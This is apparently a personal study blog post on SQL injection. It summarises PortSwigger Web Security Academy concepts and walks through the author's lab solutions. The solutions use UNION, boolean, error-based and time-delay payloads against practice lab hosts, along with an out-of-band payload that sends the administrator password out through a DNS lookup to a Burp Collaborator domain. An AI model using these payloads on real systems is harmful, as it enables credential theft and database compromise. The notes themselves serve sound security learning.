WA series - SQLi
- Portswigger’s SQLi module: SQLi
- Lab scripts for Blind SQLi: SQLi scripts
- Jump to: Labs
Concepts
SQLi
Access, modify, or delete SQL data using queries. This can be escalated to compromise the back-end server or perform a DOS attack. Most SQLi vulnerabilities are blind SQLi.
Detection
- Use Burp Suite’s web vulnerability scanner.
- Submit a single quote
'and look for errors. - Submit SQL queries, and check for the differences.
- Submit Boolean conditions
OR 1=1andOR 1=2. - Submit payloads designed to trigger time delays.
'; waitfor delay ('0:0:20')-- - Submit Out-of-Band Application Security Testing (OAST) Software - PortSwigger payloads designed to trigger an out-of-band network interaction, and monitor for any resulting interactions.
SQL injection examples
- Retrieving hidden data:
1 2 3 4 5 6 7 8
https://insecure-website.com/products?category=Gifts internal sql query: SELECT * FROM products WHERE category = 'Gifts' AND released = 1 Malicious Request: https://insecure-website.com/products?category=Gifts'-- Result: SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
Take care when injecting the condition
OR 1=1into a SQL query. Although this may be harmless in the initial context you’re injecting into, it’s common for applications to use data from a single request in multiple different queries. If your condition reaches anUPDATEorDELETEstatement, for example, this can result in an accidental loss of data. (https://portswigger.net/) - Subverting application logic:
- username:
administrator'-- SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
- username:
- Retrieving data from other db tables (Union attacks)
1 2 3
Url: https://insecure-website.com/products?category=Gifts' UNION SELECT username, password FROM users-- SELECT name, description FROM products WHERE category = 'Gifts' UNION SELECT username, password FROM users--' AND released=1
- Blind SQL injection
- Change the logic of the query to trigger a detectable response
- time delay condition
- OAST techniques (out of band).
Powerful and efficientEx: for example by placing the data into a DNS lookup for a domain that you control. What is Blind SQL Injection? Tutorial & Examples | Web Security Academy (portswigger.net)
Second-order SQL injection
Consider the concept of stored XSS applied to SQLi.
Examining the db
Some techniques for detecting and exploiting SQL injection work differently on different databases.
- Gather information about the database itself. Database type, version, and schema (tables, and columns in the DB)
- Querying the database type and version Example queries:
1 2 3
select @@version -- Microsoft, MYSQL select * from v$version -- Oracle select version() -- PostgreSQL
Usage:
' UNION select @@version-- - Listing the contents of the database Most databases (but Oracle) have a set of views that provide info about the database.
1 2
select * from information_schema.tables -- Lists tables select * from information_schema.columns where table_name='Users'
Oracle:
1 2
select * from all_tables select * from all_tab_columns where table_name='USERS'
Union Attacks
For a UNION query to work, two key requirements must be met:
- The individual queries must return the same number of columns.
- The data types in each column must be compatible with the individual queries. To carry out a SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:
- How many columns are being returned from the original query?
- Which columns returned from the original query are of a suitable data type to hold the results from the injected query?
Determining the number of columns
' ORDER BY 1--->' ORDER BY 2--.. (--is followed by a space)' UNION SELECT NULL, NULL ---> 3nulls,…(usefrom dualfor Oracle)Elaborated:
1 2 3 4
select where category='gifts' order by 1-- # followed by ' order by 2-- and so on . -- Based on the differences in the responses, you can identify the number of columns -- You may get an output similar to : "The order by position number 3 is out of range of the number of items" select where cat='gifts' UNION SELECT NULL -- # followed by ' UNION select NULL,NULL -- and so on.
On mysql double dashes must be followed by spaces
The number of columns must match between the two outcomes of union. So, it’d give an error similar to: All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
(Otherwise, it might simply provide incorrect responses or it might not work.)
On Oracle, the
selectquery must use the from keyword. Use the table Dual for this
1
select ...'gifts' UNION selct NULL,NULL from DUAL --
Finding columns with useful datatype in a SQLi UNION attack
We usually search for string data: Say you have 3 columns, Try:
' UNION SELECT 'a',NULL,NULL--->' UNION SELECT NULL,'a',NULL--->' UNION SELECT NULL,NULL,'a'--
If it is not a string, a possible error will look like this: Conversion failed when converting the varchar value 'a' to data type int.
Retrieving interesting data
- Say you realized that the query returns two columns with string data using the where clause and the database contains a table called users with columns: username, and password
' UNION SELECT username, password from users--
How to find the tables of interest: Examining the db
Retrieving multiple values within a single column
Say, in the above example, if the query returns just one column, use the following to retrieve both username and password:
- Oracle:
' UNION SELECT username || '~' || password FROM users--|| is a string concatenation operator in Oracle. (so, concatenate username with ~ and concatenate the result with password) - Microsoft:
' UNION SELECT username + '~' + password FROM users--+for concatenation - PostgreSQL:
||or space - MySQL:
CONCAT('a','b','c')
| More info: [SQL injection cheat sheet | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/sql-injection/cheat-sheet) |
Blind SQLi
What is Blind SQL Injection? Tutorial & Examples | Web Security Academy (portswigger.net)
- The application is vulnerable to SQLi but the HTTP responses do not contain any results or errors.
Triggering conditional responses
Ex: Say, the tracking cookie value is verified by the application, we can check the differences in responses of: ..idnoxyz' AND '1'='1 and ...idnoxyz' AND '1'='2
- If there is a noticeable difference, use: Substring =>
SUBSTRING(String,start,length)1 2
..xyz' AND SUBSTRING((SELECT password from Users Where Username='Admin'),1,1) > 'm If true, go with t, if false, check the letters in between.
This is one way to retrieve data
Error-based SQLi
- Retrieving sensitive data from the database by learning through errors.
Exploiting blind SQLi by triggering conditional errors:
1
2
3
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a -- Because this is a false satement, it doesn't trigger the divide-by-zero error.
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a -- Triggers the divide by zero error
This is similar to exploiting by triggering the conditional responses:
1
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Extracting sensitive data via verbose SQL error messages:
- A misconfigured database can result in a verbose error message:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char One way of achieving this is to use the
CAST()function, which enables you to convert one data type to another. For example, consider a query containing the following statement:CAST((SELECT example_column FROM example_table) AS int)- Often, the data that you’re trying to read is a string. Attempting to convert this to an incompatible data type, such as an
int, may cause an error similar to the following:ERROR: invalid input syntax for type integer: "Example data"=> Example_data retrieved. This type of query may also be useful in cases where you’re unable to trigger conditional responses because of a character limit imposed on the query.
Triggering time delays
- If the application handles errors properly, we can’t use the above methods.
- Huh.. So, on successful execution wait for 10 seconds.
1
2
-- single quote
; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--
Using out-of-band (OAST) techniques
- If the application queries asynchronously, the previous techniques won’t work. We use OAST techniques.
- As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully,
data can be exfiltrated directly within the network interaction itself. => Say,exfiltration through DNS queries. - Use Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS) and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application
- The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
This will cause the database to perform a lookup for the following domain: 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
Example Payload: (password exfiltrated as a subdomain name)
1
2
'' -- Add single quote before the query
; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
This will result in a DNS lookup like the following, allowing you to view the captured password: S3cure.cwcsg...burp...net
Out-of-band (OAST) techniques are an extremely powerful way to detect and exploit blind SQL injection, due to the high likelihood of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason,
OAST techniques are often preferableeven in situations where other techniques for blind exploitation do work. - (https://portswigger.net)
SQLi Labs
The following information can only help as a reference while you are working on the labs. I made scripts to automate information retrieveal proces for the blind SQLi labs. Try to make your own scripts by understanding the concepts. Socket programming can be a great tool for anyone targeting offensive security roles (Although, I used requests module for the scripts). You can learn more about socket programming from my Network security series
Labs 1-10
SQL injection cheat sheet | Web Security Academy (portswigger.net) Burp suite: Ctr+u for URL encoding. Ctr+space to forward a request in the repeater. (Issue repeater request shortcut in hotkeys)
- category=’ OR TRUE –
- username:
administrator OR TRUE --with any pass
Note: All labs till blind SQL injection follow one set of steps (with a slight variation based on the database type) Those steps:
Lab3 querying the database type and version on Oracle
1
2
3
https://0adc00b303ba9cca804f087000f2009b.web-security-academy.net/filter?category=Pets
https://0adc00b303ba9cca804f087000f2009b.web-security-academy.net/filter?category=Pets' ORDER BY 1--
# similarly tried 2-- and 3--; 3-- returned with an internal server error
So, we must return 2 columns
1
2
3
4
5
https://0adc00b303ba9cca804f087000f2009b.web-security-academy.net/filter?category=Pets' UNION select NULL,NULL from dual--
Again, 3NULLS returned an internal server error. This confirms that we must return two columns
' union select 'a','a' from dual--
Also, remove the category =pets.
' union select banner,NULL from v$version-- # similarly version from v$instance–
Lab4 querying the database type and version on MySQL and Microsoft
1
2
# same thing microsoft and mysql
' union select @@version,null--%20 # for space
Lab5 listing the database contents on non-Oracle databases
Remember, You must figure out the database version and type so that you can use the following payloads.
Learn more from the cheat sheet. SQL injection cheat sheet
1
2
3
4
' union SELECT table_name,NULL FROM information_schema.tables--
' union SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users_ckixjs'--
' union SELECT username_trpnyf,password_yzdqam FROM users_ckixjs--
t7wdl4gsgmu91w1h27y1
Lab6 listing the database contents on Oracle
Same thing on Oracle
1
2
3
4
' union SELECT table_name,NULL FROM all_tables--
' union SELECT column_name,NULL FROM all_tab_columns WHERE table_name = 'USERS_YTEFVA'--
' union SELECT USERNAME_SXNSWN,PASSWORD_LQYSAM FROM USERS_YTEFVA--
802scejeqn0ecu35b0fi
Using select ? instead of select *
Lab7
' union select NULL,'hwPw0Q',NULL --%20' union select username,password from users --%20' union select null,'a' from users--%20' union select null,version() --%20' union select null,concat(username,'~',password) from users--%20
Lab 9: Retrieve data from other tables
Target: Retrieve usernames and passwords from the table users.
1
2
3
4
5
category='' or true --
category='' order by 2 --
ctr+u on burp => ''+order+by+2+--+ -- Try 'URL encode as you type'
union select null,null --
union select 'a','a' --
Tried @@version, version():
1
GET /filter?category='+union+select+version(),'a'+--+ HTTP/2
version:
PostgreSQL12.16 (Ubuntu 12.16-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit
1
2
3
union SELECT table_name,null FROM information_schema.tables --
union SELECT column_name,null FROM information_schema.columns WHERE table_name = 'users' --
-- columns: username, password
Lab 10: Retrieving multiple values in a single column
Goal: Retrieve usernames, and passwords from the table users
1
2
3
4
5
6
category='' or true --
category='' order by 2 --
ctr+u on burp => ''+order+by+2+--+
union select null,null --
union select 'a','a' -- # internal server error
union select null,'a' --
1
GET /filter?category='+union+select+null,version()+--+ HTTP/2
Database: PortsgreSQL
1
2
3
4
union SELECT null,table_name,null FROM information_schema.tables --
union SELECT null,column_name FROM information_schema.columns WHERE table_name = 'users' --
-- columns: username, password
union select null,username || ':' || password from users --
1
GET /filter?category='+union+select+null,username+||+'%3a'+||+password+from+users+--+ HTTP/2
Lab 11+ Blind SQLi:
Lab 11 and 12: Conditional responses
1
2
3
GET / HTTP/2
Host: 0acf00c104323a12812e5dd7009b0042.web-security-academy.net
Cookie: TrackingId=Vvm2xFZ53GEYJkxY'+OR+TRUE+--+; session=rmPgXv6aTAGbG8ulFKTIQN5rwr63Ijag
How?:
1
2
3
4
AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
'-- So:
AND+SUBSTRING((SELECT+version()),1,1)%3d'P
' -- So, the first character is equal to P
Lab 12 conditional errors:
1
2
3
GET / HTTP/2
Host: 0ab500cb0489a6cf8493360a00d200ff.web-security-academy.net
Cookie: TrackingId=bRjjz0cQGsBtNJyf'||(SELECT+CASE+WHEN+(1%3d2)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)||'; session=2Ry62swje0F1fzOP9fx7BUL2Y36iq21O
1
2
3
4
5
6
7
8
9
10
||(SELECT+CASE+WHEN+(1%3d2)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)|| -- (1=2) worked but False did not.
So:
select+case+when+substr((select+password+from+users+where+username+%3d+'administrator'),1,1)+>+'0'+then+''+else+to_char(1/0)+end+from+dual)
--Better:
'||(SELECT CASE WHEN SUBSTR(password,1,1)>'z' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Length:
'||(select case when (length(password))=1 then '' else to_char(1/0) end from users where username='administrator')||'
Represented as:
||(select+case+when+(length(password))>1+then+''+else+to_char(1/0)+end+from+users+where+username%3d'administrator')||
Lab 13: Visible error based
1
2
3
GET / HTTP/2
Host: 0af000fe0401d85f815ecbf3004700b1.web-security-academy.net
Cookie: TrackingId='; session=r6u6ZENAujqp1VDHM3uelXVa8N5TjGXQ
1
2
3
Unterminated string literal started at position 36 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
' Because the errors are visible, we cause the errors:
CAST((SELECT password FROM users limit 1) AS int)
1
2
3
GET / HTTP/2
Host: 0af000fe0401d85f815ecbf3004700b1.web-security-academy.net
Cookie: TrackingId='%3bselect+CAST((SELECT+password+FROM+users+limit+1)+AS+int)%3b'; session=r6u6ZENAujqp1VDHM3uelXVa8N5TjGXQ
Ans:
1
select cast((select password from users limit 1) as int)
Lab 14 and 15: Time delays
1
2
3
-- Example usage:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
`'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
; IF (1=1) dbms_pipe.receive_message(('a'),10)-- # nope Oracle
; IF (1=1) WAITFOR DELAY '0:0:10'-- # works Microsoft
; IF (1=1) SELECT pg_sleep(10)-- PostgreSQL
; IF (1=1) SELECT SLEEP(10)-- MYSQL
-- Usage:
%3bSELECT+CASE+WHEN+(1%3d1)+THEN+'a'||dbms_pipe.receive_message(('a'),10)+ELSE+NULL+END+FROM+DUAL+--+
%3bIF+(1%3d1)+WAITFOR+DELAY+'0%3a0%3a10'+--+
%3bSELECT+CASE+WHEN+(1%3d1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+--+_
%3bSELECT+CASE+WHEN+(1%3d1)+THEN+SELECT+SLEEP(10)+ELSE+SELECT+SLEEP(0)+END+--+
a.k.a: ; select case when 1=1 then...
;IF (SELECT substr(password,1,1) FROM Users WHERE Username = 'Administrator') > '0') WAITFOR DELAY '0:0:10'--
lab 15: Info retrieval
1
2
3
4
5
6
7
8
9
10
11
select if(1=1,sleep(10),'a')
'%3bselect+if(1%3d1,sleep(10),'a')%3b'
SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END
SELECT+CASE+WHEN+(1%3d1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END -- worked => PostgreSQL
SELECT CASE WHEN (substring('password',1,1)>'0') THEN pg_sleep(10) ELSE pg_sleep(0) END -- worked
SELECT CASE WHEN (substring((select password from users where username='administrator'),1,1)>'0') THEN pg_sleep(10) ELSE pg_sleep(0) END
# worked
Length:
SELECT CASE WHEN ((select length(password) from users where username='administrator')=20) THEN pg_sleep(10) ELSE pg_sleep(0) END
1
2
3
GET / HTTP/2
Host: 0ac0008504a44dc181a5678b00f500a5.web-security-academy.net
Cookie: TrackingId=c9SXpTpybEgz95mp'%3bSELECT+CASE+WHEN+((select+length(password)+from+users+where+username%3d'administrator')%3d20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END%3b'; session=LcMtffYxXvcdyj8HSGRFOP0uNOpYMhiK
length=20
1
SELECT CASE WHEN (substring((select password from users where username='administrator'),1,1)>'0') THEN pg_sleep(2) ELSE pg_sleep(0) END
Lab 18:
1
2
3
<@dec_entities> UNION select password from users where username='administrator'--<@/dec_entities>
-- Use the above to convert it into xml escape sequence.
Used as:
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId> 1  UNION select password from users where username='administrator'--
</storeId>
</stockCheck>